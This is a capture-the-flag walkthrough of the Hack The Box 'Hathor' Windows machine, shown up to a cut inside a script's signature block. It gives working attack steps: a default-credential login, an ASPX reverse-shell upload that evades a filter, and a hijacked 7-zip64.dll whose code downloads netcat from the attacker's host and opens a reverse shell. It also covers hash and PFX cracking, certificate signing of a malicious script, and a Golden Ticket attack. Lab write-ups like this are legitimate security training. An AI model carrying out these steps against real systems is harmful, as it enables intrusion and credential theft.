We look at samba shares and mount the `share` share as the `BeatriceMill` user, who has write access. According to the [AppLocker](https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/applocker/applocker-overview) policy, we can run `C:\share\Bginfo64.exe`, so we aim to overwrite that with a [netcat binary](https://github.com/int0x33/nc.exe/) to spawn a reverse shell. We discover that there is a cronjob that runs the exe in the share. So, we hijack the `7-zip64.dll` DLL file using the second exploit listed under the "Your own" header from [this HackTricks guide](https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/dll-hijacking#your-own). Our DLL takes ownership of the `Bginfo64.exe` executable, grants everyone full access to it, downloads a static netcat binary from our machine, and then executes that netcat binary to get a reverse shell.

We now have a reverse shell as the `ginawild` user and we get the `user.txt` flag. In the Recycle Bin we find a PFX file. We download it and crack it using `john`. We can assume that this certificate was used to sign the `Get-bADpasswords.ps1` file so that it would be able to run (see [powershell signing](https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_signing?view=powershell-7.2) for more information). Additionally, there is a `run.vbs` script in the `C:\Get-bADpasswords` directory that creates a Windows event. We assume something picks up that event and executes the `C:\Get-bADpasswords\Get-bADpasswords.ps1` script as a different user. So, we replace the `Get-bADpasswords.ps1` with a reverse shell and sign it with the certificate, to get a reverse shell as the `bpassrunner` user.

For this final part we perform a [Golden Ticket attack](https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/golden-ticket). To do this we need to the NTLM hash of the `krbtgt` user. Using [Get-ADReplAccount](https://github.com/MichaelGrafnetter/DSInternals/blob/master/Documentation/PowerShell/Get-ADReplAccount.md), we dump the hashes for many accounts and transfer them to our machine. With the `krbtgt` NTLM hash, we use [impacket](https://github.com/SecureAuthCorp/impacket)'s [ticketer.py](https://github.com/SecureAuthCorp/impacket/blob/master/examples/ticketer.py) to create a ticket as the `Administrator` user. Finally, we use [wmiexec.py](https://github.com/SecureAuthCorp/impacket/blob/master/examples/wmiexec.py) to get a shell and grab the `root.txt` flag.

## Enumeration

### Nmap

First, let's scan for open ports using `nmap`. We can quickly scan for open ports and store them in a variable: `ports=$(nmap -p- --min-rate=1000 -T4 10.10.11.147 | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)`. Then, we can scan those specific ports in depth by running `nmap`'s built-in scripts: `nmap -p$ports -sC -sV 10.10.11.147`.

```
PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
80/tcp    open  http          Microsoft IIS httpd 10.0
|_http-title: Home - mojoPortal
| http-methods:
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
| http-robots.txt: 29 disallowed entries (15 shown)
| /CaptchaImage.ashx* /Admin/ /App_Browsers/ /App_Code/
| /App_Data/ /App_Themes/ /bin/ /Blog/ViewCategory.aspx$
| /Blog/ViewArchive.aspx$ /Data/SiteImages/emoticons /MyPage.aspx
|_/MyPage.aspx$ /MyPage.aspx* /NeatHtml/ /NeatUpload/
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2022-08-06 19:06:40Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: windcorp.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2022-08-06T19:08:09+00:00; -10s from scanner time.
| ssl-cert: Subject: commonName=hathor.windcorp.htb
| Subject Alternative Name: othername:<unsupported>, DNS:hathor.windcorp.htb
| Not valid before: 2022-03-18T07:51:40
|_Not valid after:  2023-03-18T07:51:40
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: windcorp.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=hathor.windcorp.htb
| Subject Alternative Name: othername:<unsupported>, DNS:hathor.windcorp.htb
| Not valid before: 2022-03-18T07:51:40
|_Not valid after:  2023-03-18T07:51:40
|_ssl-date: 2022-08-06T19:08:09+00:00; -10s from scanner time.
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: windcorp.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=hathor.windcorp.htb
| Subject Alternative Name: othername:<unsupported>, DNS:hathor.windcorp.htb
| Not valid before: 2022-03-18T07:51:40
|_Not valid after:  2023-03-18T07:51:40
|_ssl-date: 2022-08-06T19:08:09+00:00; -10s from scanner time.
3269/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: windcorp.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2022-08-06T19:08:09+00:00; -10s from scanner time.
| ssl-cert: Subject: commonName=hathor.windcorp.htb
| Subject Alternative Name: othername:<unsupported>, DNS:hathor.windcorp.htb
| Not valid before: 2022-03-18T07:51:40
|_Not valid after:  2023-03-18T07:51:40
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp  open  mc-nmf        .NET Message Framing
49664/tcp open  msrpc         Microsoft Windows RPC
49668/tcp open  msrpc         Microsoft Windows RPC
49674/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49699/tcp open  msrpc         Microsoft Windows RPC
49702/tcp open  msrpc         Microsoft Windows RPC
56024/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: HATHOR; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode:
|   3.1.1:
|_    Message signing enabled and required
|_clock-skew: mean: -10s, deviation: 0s, median: -10s
| smb2-time:
|   date: 2022-08-06T19:07:32
|_  start_date: N/A
```

We see references to `hathor.windcorp.htb`, so let's add that domain to `/etc/hosts`: `echo "10.10.11.147 windcorp.htb hathor.windcorp.htb" | sudo tee -a /etc/hosts`.

### Website (Port `80`)

The website appears to be powered by software called "mojoPortal" (according to the page title). The main page says that the site is under construction:

![](https://1600652893-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FS0LWH4dLpl2un5qIMXwQ%2Fuploads%2Fgit-blob-78539bf261060a8aca2131be4fc07f18998a918d%2FScreenshot%202022-08-06%20at%2015-13-08%20Home%20-%20mojoPortal.png?alt=media)

There is a login link at the bottom:

![](https://1600652893-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FS0LWH4dLpl2un5qIMXwQ%2Fuploads%2Fgit-blob-344254ccbdb48fbe84a0ac8e284550861ed927b6%2FScreenshot%202022-08-06%20at%2015-13-50%20Login%20-%20mojoPortal.png?alt=media)

Let's try to register for an account:

![](https://1600652893-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FS0LWH4dLpl2un5qIMXwQ%2Fuploads%2Fgit-blob-d6f654206f2db9e0c532bfbf9f3365317c56f338%2FScreenshot%202022-08-06%20at%2015-17-25%20Register%20-%20mojoPortal.png?alt=media)

We get a settings icon on the left side of the page with a link to the member list at `http://windcorp.htb/MemberList.aspx`:

![](https://1600652893-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FS0LWH4dLpl2un5qIMXwQ%2Fuploads%2Fgit-blob-0c8b5e56425a47d03cdc1748e002bf8cd3d2da41%2FScreenshot%202022-08-06%20at%2015-19-23%20Member%20List%20-%20mojoPortal.png?alt=media)

There is an admin user, so we probably want to try andd get access to that account.

Let's try to bruteforce directories. this produces a lot of `403 - Forbidden: Access is denied` errors, so we filter those with `-fc 403` by running `ffuf -ic -w /usr/share/dirbuster/wordlists/directory-list-2.3-small.txt -u http://windcorp.htb/FUZZ/ -fc 403`:

```
home                    [Status: 200, Size: 11276, Words: 447, Lines: 194, Duration: 221ms]
                        [Status: 200, Size: 11218, Words: 447, Lines: 194, Duration: 225ms]
admin                   [Status: 302, Size: 190, Words: 6, Lines: 4, Duration: 165ms]
Home                    [Status: 200, Size: 11276, Words: 447, Lines: 194, Duration: 301ms]
%20                     [Status: 302, Size: 151, Words: 6, Lines: 4, Duration: 5522ms]
Admin                   [Status: 302, Size: 190, Words: 6, Lines: 4, Duration: 823ms]
*checkout*              [Status: 302, Size: 154, Words: 6, Lines: 4, Duration: 756ms]
HOME                    [Status: 200, Size: 11276, Words: 447, Lines: 194, Duration: 798ms]
Setup                   [Status: 200, Size: 701, Words: 57, Lines: 15, Duration: 490ms]
*docroot*               [Status: 302, Size: 153, Words: 6, Lines: 4, Duration: 861ms]
*                       [Status: 302, Size: 145, Words: 6, Lines: 4, Duration: 1230ms]
con                     [Status: 302, Size: 147, Words: 6, Lines: 4, Duration: 5721ms]
http%3A%2F%2Fwww        [Status: 302, Size: 167, Words: 6, Lines: 4, Duration: 1987ms]
q%26a                   [Status: 302, Size: 151, Words: 6, Lines: 4, Duration: 471ms]
http%3A                 [Status: 302, Size: 161, Words: 6, Lines: 4, Duration: 917ms]
**http%3a               [Status: 302, Size: 163, Words: 6, Lines: 4, Duration: 1546ms]
                        [Status: 200, Size: 11218, Words: 447, Lines: 194, Duration: 790ms]
aux                     [Status: 302, Size: 147, Words: 6, Lines: 4, Duration: 6833ms]
*http%3A                [Status: 302, Size: 162, Words: 6, Lines: 4, Duration: 966ms]
**http%3A               [Status: 302, Size: 163, Words: 6, Lines: 4, Duration: 981ms]
http%3A%2F%2Fyoutube    [Status: 302, Size: 171, Words: 6, Lines: 4, Duration: 1139ms]
http%3A%2F%2Fblogs      [Status: 302, Size: 169, Words: 6, Lines: 4, Duration: 1337ms]
http%3A%2F%2Fblog       [Status: 302, Size: 168, Words: 6, Lines: 4, Duration: 1319ms]
**http%3A%2F%2Fwww      [Status: 302, Size: 169, Words: 6, Lines: 4, Duration: 954ms]
filemanager             [Status: 200, Size: 2531, Words: 72, Lines: 84, Duration: 536ms]
:: Progress: [87651/87651] :: Job [1/1] :: 64 req/sec :: Duration: [0:22:02] :: Errors: 1 ::
```

Searching for "mojoPortal default credentials" finds [this forum thread](https://www.mojoportal.com/Forums/Thread.aspx?pageid=5\&t=2902~-1). Trying the default credentials of `admin@admin.com:admin` works!

![](https://1600652893-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FS0LWH4dLpl2un5qIMXwQ%2Fuploads%2Fgit-blob-dab046e230f0e3253cf6b3babeafae4a92dc47b7%2FScreenshot%202022-08-06%20at%2015-29-24%20Administration%20-%20mojoPortal.png?alt=media)

We get some possibly useful version numbers from `http://windcorp.htb/Admin/ServerInformation.aspx`:

![](https://1600652893-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FS0LWH4dLpl2un5qIMXwQ%2Fuploads%2Fgit-blob-edbc21ffab98af700941b046b59d584d5653acee%2FScreenshot%202022-08-06%20at%2015-31-43%20System%20Information%20-%20mojoPortal.png?alt=media)

On the file manager page at `http://windcorp.htb/FileManager?view=fullpage` we can copy, edit, and upload files:

![](https://1600652893-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FS0LWH4dLpl2un5qIMXwQ%2Fuploads%2Fgit-blob-f7100700dccba1fff0390bf3120d5dfb8bfc17e4%2FScreenshot%202022-08-06%20at%2015-33-35%20File%20Management.png?alt=media)

We can generate a reverse shell using `msfvenom -p windows/meterpreter/reverse_tcp LHOST=tun0 LPORT=46738 -f aspx > meterpreter.aspx`, but for some reason this doesn't work. So, instead I used [this reverse shell script](https://github.com/borjmz/aspx-reverse-shell/blob/master/shell.aspx).

Attempting to upload this file gives us an error since `aspx` files are not allowed:

![](https://1600652893-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FS0LWH4dLpl2un5qIMXwQ%2Fuploads%2Fgit-blob-ddd30e3676ccce6a45b94ed280befb4cc5296067%2FScreenshot%202022-08-06%20at%2015-37-32%20File%20Management.png?alt=media)

In the file manager we can edit the file at `/htmlfragments/fragment1.htm` and replace its contents with the reverse shell:

![](https://1600652893-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FS0LWH4dLpl2un5qIMXwQ%2Fuploads%2Fgit-blob-8be3afd0218e614f37cf17b5631ae8a39b2c5787%2FScreenshot%202022-08-06%20at%2015-40-06%20File%20Management.png?alt=media)

Then, we copy the file to `/htmlfragments/shell.aspx`, which appears to work. It doesn't appear in the file browser due to a content filter that blocks ".aspx" files.

If we go to the "Content Manager" at `http://windcorp.htb/Admin/ContentCatalog.aspx`, we can edit the home page, which has the "Under Construction" image on it. If we view the properties of that image we can view its path:

![](https://1600652893-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FS0LWH4dLpl2un5qIMXwQ%2Fuploads%2Fgit-blob-77aa86c6f8839929c96ea9e1f2dc004594d17300%2FScreenshot%202022-08-06%20at%2015-44-33%20Edit%20Content%20Welcome%20-%20mojoPortal.png?alt=media)

The `underconstruction.png` was located in the root of the file explorer, so we can assume that the path `/Data/Sites/1/media/` brings us to the root of the file explorer. Therefore, our shell is at `/Data/Sites/1/media/htmlfragments/shell.aspx`.

We start a listener with `nc -nvlp 8344` and navigate to `http://windcorp.htb/Data/Sites/1/media/htmlfragments/shell.aspx` to get a reverse shell!

## Foothold

We run `dir C:\` and notice a strange directory called `Get-bADpasswords`:

```
 Directory of C:\Get-bADpasswords

10/03/2021  06:38 PM    <DIR>          .
09/29/2021  08:18 PM    <DIR>          Accessible
10/03/2021  06:44 PM            11,606 CredentialManager.psm1
03/21/2022  03:59 PM            20,320 Get-bADpasswords.ps1
09/29/2021  06:53 PM           177,250 Get-bADpasswords_2.jpg
10/03/2021  06:44 PM             5,096 Helper_Logging.ps1
10/03/2021  06:44 PM             6,473 Helper_Passwords.ps1
09/29/2021  06:53 PM           149,012 Image.png
09/29/2021  06:53 PM             1,512 LICENSE.md
10/03/2021  06:37 PM                 0 New Text Document.txt
10/03/2021  06:44 PM             4,411 New-bADpasswordLists-Common.ps1
10/03/2021  06:44 PM             4,247 New-bADpasswordLists-Custom.ps1
10/03/2021  06:44 PM             4,403 New-bADpasswordLists-customlist.ps1
10/03/2021  06:44 PM             4,652 New-bADpasswordLists-Danish.ps1
10/03/2021  06:44 PM             4,506 New-bADpasswordLists-English.ps1
10/03/2021  06:44 PM             4,655 New-bADpasswordLists-Norwegian.ps1
09/29/2021  06:54 PM    <DIR>          PSI
09/29/2021  06:53 PM             6,567 README.md
03/18/2022  04:57 PM             3,922 run.vbs
09/29/2021  06:54 PM    <DIR>          Source
              16 File(s)        408,632 bytes
               4 Dir(s)   9,174,769,664 bytes free
```

Searching for this tool online finds [improsec/Get-bADpasswords](https://github.com/improsec/Get-bADpasswords). According to its README, "this module is able to compare password hashes of enabled Active Directory users against bad/weak/non-compliant passwords (e.g. hackers first guess in brute-force attacks)."

We look around this folder and find a logs directory at `C:\Get-bADpasswords\Accessible\Logs`:

```
 Directory of C:\Get-bADpasswords\Accessible\Logs

03/18/2022  05:40 AM    <DIR>          .
09/29/2021  08:18 PM    <DIR>          ..
10/03/2021  05:35 PM             1,331 log_windcorp-03102021-173510.txt
10/03/2021  06:07 PM             1,331 log_windcorp-03102021-180635.txt
10/03/2021  06:21 PM             1,217 log_windcorp-03102021-182114.txt
10/03/2021  06:23 PM             1,217 log_windcorp-03102021-182259.txt
10/03/2021  06:28 PM             1,331 log_windcorp-03102021-182627.txt
10/03/2021  06:52 PM             1,331 log_windcorp-03102021-185058.txt
10/04/2021  11:37 AM             1,331 log_windcorp-04102021-113140.txt
10/05/2021  06:40 PM             1,331 log_windcorp-05102021-183949.txt
03/17/2022  05:40 AM               846 log_windcorp-17032022-044053.txt
03/18/2022  05:40 AM               846 log_windcorp-18032022-044046.txt
              10 File(s)         12,112 bytes
               2 Dir(s)   9,174,097,920 bytes free
```

The log file `log_windcorp-05102021-183949.txt` indicates that the user `BeatriceMill` has a weak password.

```
05.10.2021-18:39:50     info    Version:        'Get-bADpasswords v3.03'.
05.10.2021-18:39:50     info    Log file:       '.\Accessible\Logs\log_windcorp-05102021-183949.txt'.
05.10.2021-18:39:50     info    CSV file:       '.\Accessible\CSVs\exported_windcorp-05102021-183949.csv'.
05.10.2021-18:39:50     info    Testing versioning for files in '.\Accessible\PasswordLists'...
05.10.2021-18:39:50     info    'weak-passwords-common.txt' repack is up to date...
05.10.2021-18:39:50     info    'weak-passwords-da.txt' repack is up to date...
05.10.2021-18:39:50     info    'weak-passwords-en.txt' repack is up to date...
05.10.2021-18:39:50     info    'weak-passwords-no.txt' repack is up to date...
05.10.2021-18:39:50     info    Replicating AD user data with parameters (DC = 'hathor', NC = 'DC=windcorp,DC=com')...
05.10.2021-18:39:55     info    The AD returned 3537 users.
05.10.2021-18:39:56     info    Testing user passwords against password lists...
05.10.2021-18:40:52     info    Finished comparing passwords.
05.10.2021-18:40:53     info    Found 1 user(s) with weak passwords.
05.10.2021-18:40:53     info    Matched password found for user 'BeatriceMill' in list(s) 'leaked-passwords-v7'.
05.10.2021-18:40:54     info    Found a total of '0' user(s) with empty passwords
05.10.2021-18:40:54     info    Found a total of '1' user(s) with weak passwords
05.10.2021-18:40:54     info    Found a total of '' user(s) with shared passwords
```

In the `C:\Get-bADpasswords\Accessible\CSVs` directory, we read the `exported_windcorp-05102021-183949.csv` file, which has a password hash:

```
Activity;Password Type;Account Type;Account Name;Account SID;Account password hash;Present in password list(s)
active;weak;regular;BeatriceMill;S-1-5-21-3783586571-2109290616-3725730865-5992;9cb01504ba0247ad5c6e08f7ccae7903;'leaked-passwords-v7'
```

Putting `9cb01504ba0247ad5c6e08f7ccae7903` into [CrackStation](https://crackstation.net/) reveals that hash is an NTLM hash and that the password is `!!!!ilovegood17`.

So, now we have a valid set of credentials `BeatriceMill:!!!!ilovegood17`.

## Getting User

With our new credentials we are able to dump LDAP by running `ldapsearch -x -H ldap://windcorp.htb -D 'windcorp\BeatriceMill' -w '!!!!ilovegood17' -b "DC=windcorp,DC=htb" > ldap_results.txt`, but this doesn't give us much information: [ldap\_results.txt](https://github.com/HHousen/hack-the-box/blob/master/Machines/Hathor/ldap_results.txt)

We run `net view \\hathor`, which shows us a `share` SMB share:

```
Shared resources at \\hathor

Domain controller

Share name  Type  Used as  Comment

-------------------------------------------------------------------------------
NETLOGON    Disk           Logon server share
share       Disk
SYSVOL      Disk           Logon server share
```

We can mount this share by running `net use x: \\hathor\share` (from [this SuperUser answer](https://superuser.com/a/274641)). However, if we try to read it with `dir X:\` we get "Access is denied." We can run `net use x: /delete` to unmount the share.

Let's try with the `BeatriceMill` user: `net use x: \\hathor\share /user:windcorp.htb\BeatriceMill !!!!ilovegood17` (command from [this SuperUser answer](https://superuser.com/a/727949))

Contents of the share:

```
c:\windows\system32\inetsrv>dir X:
dir X:
 Volume in drive X has no label.
 Volume Serial Number is BE61-D5E0

 Directory of X:\

08/06/2022  10:49 PM    <DIR>          .
03/15/2018  03:17 PM         1,013,928 AutoIt3_x64.exe
09/19/2019  10:15 PM         4,601,208 Bginfo64.exe
03/21/2022  11:22 PM    <DIR>          scripts
               2 File(s)      5,615,136 bytes
               2 Dir(s)   9,166,626,816 bytes free

c:\windows\system32\inetsrv>dir X:\scripts
dir X:\scripts
 Volume in drive X has no label.
 Volume Serial Number is BE61-D5E0

 Directory of X:\scripts

03/21/2022  11:22 PM    <DIR>          .
08/06/2022  10:49 PM    <DIR>          ..
03/21/2022  03:43 PM         1,076,736 7-zip64.dll
10/18/2012  10:02 PM            54,739 7Zip.au3
10/06/2012  11:50 PM             2,333 ZipExample.zip
10/07/2012  01:15 PM             1,794 _7ZipAdd_Example.au3
10/07/2012  01:17 PM             1,855 _7ZipAdd_Example_using_Callback.au3
10/07/2012  03:37 AM               334 _7ZipDelete_Example.au3
10/07/2012  03:38 AM               859 _7ZIPExtractEx_Example.au3
10/07/2012  01:04 AM             1,867 _7ZIPExtractEx_Example_using_Callback.au3
10/07/2012  03:37 AM               830 _7ZIPExtract_Example.au3
10/07/2012  01:05 AM             2,027 _7ZipFindFirst__7ZipFindNext_Example.au3
10/07/2012  03:39 AM               372 _7ZIPUpdate_Example.au3
01/23/2022  11:51 AM               886 _Archive_Size.au3
10/07/2012  01:51 AM               201 _CheckExample.au3
10/07/2012  03:39 AM               144 _GetZipListExample.au3
11/27/2008  06:04 PM               498 _MiscExamples.au3
              15 File(s)      1,145,475 bytes
               2 Dir(s)   9,166,594,048 bytes free
```

We have write access to this share since we can copy a null byte to a new file within it by running `copy NUL X:\thing.txt`.

We run `Get-AppLockerPolicy -effective -xml` to see the [AppLocker](https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/applocker/applocker-overview) policy and determine what applications are allowed to run: We see that `%OSDRIVE%\share\Bginfo64.exe` is allowed to be executed, so we will overwrite that file with our reverse shell.

We can hijack the `7-zip64.dll` DLL file using the second exploit listed under the "Your own" header from [this HackTricks guide](https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/dll-hijacking#your-own). This will work because there is a cronjob that runs the exe in the share.

```c#
// For x64 compile with: x86_64-w64-mingw32-gcc windows_dll.c -shared -o output.dll
// For x86 compile with: i686-w64-mingw32-gcc windows_dll.c -shared -o output.dll

#include <windows.h>
BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved){
    if (dwReason == DLL_PROCESS_ATTACH){
        system("takeown /f C:\\share\\Bginfo64.exe");
        system("icacls C:\\share\\Bginfo64.exe /grant Everyone:F /T");
        system("curl.exe 10.10.14.116:5003/nc64.exe -o C:\\share\\Bginfo64.exe");
        system("C:\\share\\Bginfo64.exe 10.10.14.116 45446 -e cmd.exe");
    }
    return TRUE;
}
```

With this DLL, we take ownership of the `Bginfo64.exe` executable, grant everyone full access to it, download a static netcat binary from our machine, and then execute that netcat binary to get a reverse shell. We compile it with `x86_64-w64-mingw32-gcc -shared windows_dll.c -o 7-zip64.dll`.

You can download the static netcat binary we use from [this page](https://github.com/int0x33/nc.exe/) ([direct link](https://github.com/int0x33/nc.exe/raw/master/nc64.exe)). Note: The netcat binary you use matters. I originally used [this one](https://github.com/cyberisltd/NcatPortable) and that failed to launch a second reverse shell, which we need to do later.

We setup a listener with `nc -nvlp 45446`. Next, we start the web server with `python -m http.server 5003`. Finally, we overwrite the current DLL with ours by running `curl.exe http://10.10.14.116:5003/7-zip64.dll -o X:\scripts\7-zip64.dll` on the target. Then, wait about a minute and you should get a reverse shell.

We are now the `windcorp\ginawild` user. We can get the `user.txt` flag with `type C:\Users\GinaWild\Desktop\user.txt`.

## Privilege Escalation (Part 1)

If we look in the recycle bin we see some files:

```
c:\share>dir C:\$Recycle.bin /A
dir C:\$Recycle.bin /A
 Volume in drive C has no label.
 Volume Serial Number is BE61-D5E0

 Directory of C:\$Recycle.bin

02/14/2022  08:48 PM    <DIR>          .
04/19/2022  02:45 PM    <DIR>          ..
02/14/2022  08:48 PM    <DIR>          S-1-5-18
10/07/2021  12:51 AM    <DIR>          S-1-5-21-3783586571-2109290616-3725730865-2359
03/21/2022  06:13 PM    <DIR>          S-1-5-21-3783586571-2109290616-3725730865-2663
04/20/2022  12:57 AM    <DIR>          S-1-5-21-3783586571-2109290616-3725730865-500
               0 File(s)              0 bytes
               6 Dir(s)   9,161,949,184 bytes free
```

Looking in one of the folders finds a PFX file:

```
c:\share>dir C:\$Recycle.bin\S-1-5-21-3783586571-2109290616-3725730865-2663 /A
 Volume in drive C has no label.
 Volume Serial Number is BE61-D5E0

 Directory of C:\$Recycle.bin\S-1-5-21-3783586571-2109290616-3725730865-2663

03/21/2022  06:13 PM    <DIR>          .
02/14/2022  08:48 PM    <DIR>          ..
03/21/2022  04:37 PM             4,053 $RLYS3KF.pfx
10/02/2021  09:01 PM               129 desktop.ini
               2 File(s)          4,182 bytes
               2 Dir(s)   9,161,555,968 bytes free
```

We can encode the file to base64 to easily copy paste it by running `certutil -encode -f C:\$Recycle.bin\S-1-5-21-3783586571-2109290616-3725730865-2663\$RLYS3KF.pfx tmp.b64 && cls && type tmp.b64 && del tmp.b64`. Then, copy the text between `-----BEGIN CERTIFICATE-----` and `-----END CERTIFICATE-----` and run `xclip -o -selection clipboard | base64 -d -i > file.pfx` to decode the text on your clipboard and save it to `file.pfx`.

We cracked a PFX file in the [Timelapse](/machines/timelapse) writeup. We can do it again by running `pfx2john file.pfx > hash.txt` and then running `john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt`. This gives us the password `abceasyas123`.

We can assume that this certificate was used to sign the `Get-bADpasswords.ps1` file so that it would be able to run (see [powershell signing](https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_signing?view=powershell-7.2) for more information).

In the `C:\Get-bADpasswords` directory we have a `run.vbs` file:

```vb
Set WshShell = CreateObject("WScript.Shell")
Command = "eventcreate /T Information /ID 444 /L Application /D " & _
    Chr(34) & "Check passwords" & Chr(34)
WshShell.Run Command
'' SIG '' Begin signature block
'' SIG '' MIIIbQYJKoZIhvcNAQcCoIIIXjCCCFoCAQExCzAJBgUr
'' SIG '' DgMCGgUAMGcGCisGAQQBgjcCAQSgWTBXMDIGCisGAQQB
'' SIG '' gjcCAR4wJAIBAQQQTvApFpkntU2P5azhDxfrqwIBAAIB
'' SIG '' AAIBAAIBAAIBADAhMAkGBSsOAwIaBQAEFJAlve86BsnS
'' SIG '' /ypomIbg6P0Nreu/oIIF0zCCBc8wggS3oAMCAQICEyAA
'' SIG '' AAAFRO2qKLY23dwAAAAAAAUwDQYJKoZIhvcNAQELBQAw
'' SIG '' TjETMBEGCgmSJomT8ixkARkWA2h0YjEYMBYGCgmSJomT
'' SIG '' 8ixkARkWCHdpbmRjb3JwMR0wGwYDVQQDExR3aW5kY29y
'' SIG '' cC1IQVRIT1ItQ0EtMTAeFw0yMjAzMTgwOTAzMTFaFw0z
'' SIG '' MjAzMTUwOTAzMTFaMFcxEzARBgoJkiaJk/IsZAEZFgNo
'' SIG '' dGIxGDAWBgoJkiaJk/IsZAEZFgh3aW5kY29ycDEOMAwG
'' SIG '' A1UEAxMFVXNlcnMxFjAUBgNVBAMTDUFkbWluaXN0cmF0
'' SIG '' b3IwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIB
'' SIG '' AQDcpj7+f5azohHfztUjiBPiSb+PDK2ONRL+mK0ubSPe
'' SIG '' ywOCig3IjExJPxQTEiD1nkXJp95ZN8/G2ByT++UI5ql4
'' SIG '' BQL8FLpJ8EhTLmfIFPAsVQBBnlAJPtqCe7QVHbPd9Yto
'' SIG '' xv/Q0y8Q4gldC+2jS8iByIdH2Dbd94hZV4DbQPzHOKFq
'' SIG '' iyu2oWv+Al4W20E4rhWKsVma6zlPosh37gnJwK5Gtv4k
'' SIG '' VE/Fb5iaiRF7Kzvn0HDryP59mIFPpEOlcNM0JOQF/Atn
'' SIG '' zT1k3kQ+ZIFC3tEnbi/Mghe7Xq3DZGqhGceTyEf/hiN8
'' SIG '' iYOwq59qkWCeNCGESohpyVmSybXhGvPglL9ZAgMBAAGj
'' SIG '' ggKbMIIClzA9BgkrBgEEAYI3FQcEMDAuBiYrBgEEAYI3
'' SIG '' FQiC1M5wg9anaIb1kRGE6IkvhvuNZIEqgZA8guvQbQIB
'' SIG '' ZQIBADATBgNVHSUEDDAKBggrBgEFBQcDAzAOBgNVHQ8B
'' SIG '' Af8EBAMCB4AwGwYJKwYBBAGCNxUKBA4wDDAKBggrBgEF
'' SIG '' BQcDAzAdBgNVHQ4EFgQU/aQNS+ydvbd5DfjDlV6VXo1f
'' SIG '' 3jYwHwYDVR0jBBgwFoAU8Y5KpG3NgrBpXWLzY5p+i25y
'' SIG '' 9lkwgdIGA1UdHwSByjCBxzCBxKCBwaCBvoaBu2xkYXA6
'' SIG '' Ly8vQ049d2luZGNvcnAtSEFUSE9SLUNBLTEsQ049aGF0
'' SIG '' aG9yLENOPUNEUCxDTj1QdWJsaWMlMjBLZXklMjBTZXJ2
'' SIG '' aWNlcyxDTj1TZXJ2aWNlcyxDTj1Db25maWd1cmF0aW9u
'' SIG '' LERDPXdpbmRjb3JwLERDPWh0Yj9jZXJ0aWZpY2F0ZVJl
'' SIG '' dm9jYXRpb25MaXN0P2Jhc2U/b2JqZWN0Q2xhc3M9Y1JM
'' SIG '' RGlzdHJpYnV0aW9uUG9pbnQwgccGCCsGAQUFBwEBBIG6
'' SIG '' MIG3MIG0BggrBgEFBQcwAoaBp2xkYXA6Ly8vQ049d2lu
'' SIG '' ZGNvcnAtSEFUSE9SLUNBLTEsQ049QUlBLENOPVB1Ymxp
'' SIG '' YyUyMEtleSUyMFNlcnZpY2VzLENOPVNlcnZpY2VzLENO
'' SIG '' PUNvbmZpZ3VyYXRpb24sREM9d2luZGNvcnAsREM9aHRi
'' SIG '' P2NBQ2VydGlmaWNhdGU/YmFzZT9vYmplY3RDbGFzcz1j
'' SIG '' ZXJ0aWZpY2F0aW9uQXV0aG9yaXR5MDUGA1UdEQQuMCyg
'' SIG '' KgYKKwYBBAGCNxQCA6AcDBpBZG1pbmlzdHJhdG9yQHdp
'' SIG '' bmRjb3JwLmh0YjANBgkqhkiG9w0BAQsFAAOCAQEAdrEC
'' SIG '' QVltY48jKH9dHHOjLm9+fynspmzqfljFVaeQxtYMiCBx
'' SIG '' 6oh8t0zImXbj9gjhrABgC+dRmU49jhJIM0BoQzNTPrNm
'' SIG '' o8Bba4MaFfRCU2xX4wPNo0+wDvnuwKR6Tj16f085gSyB
'' SIG '' /MLx5MuN6RPiSmLSvzRTwniYei1qHvaNMegPZjp4FoW8
'' SIG '' xVNtT62oOo23vwNaChlBICKWlnhtJJf6aZXsjFN4RAfD
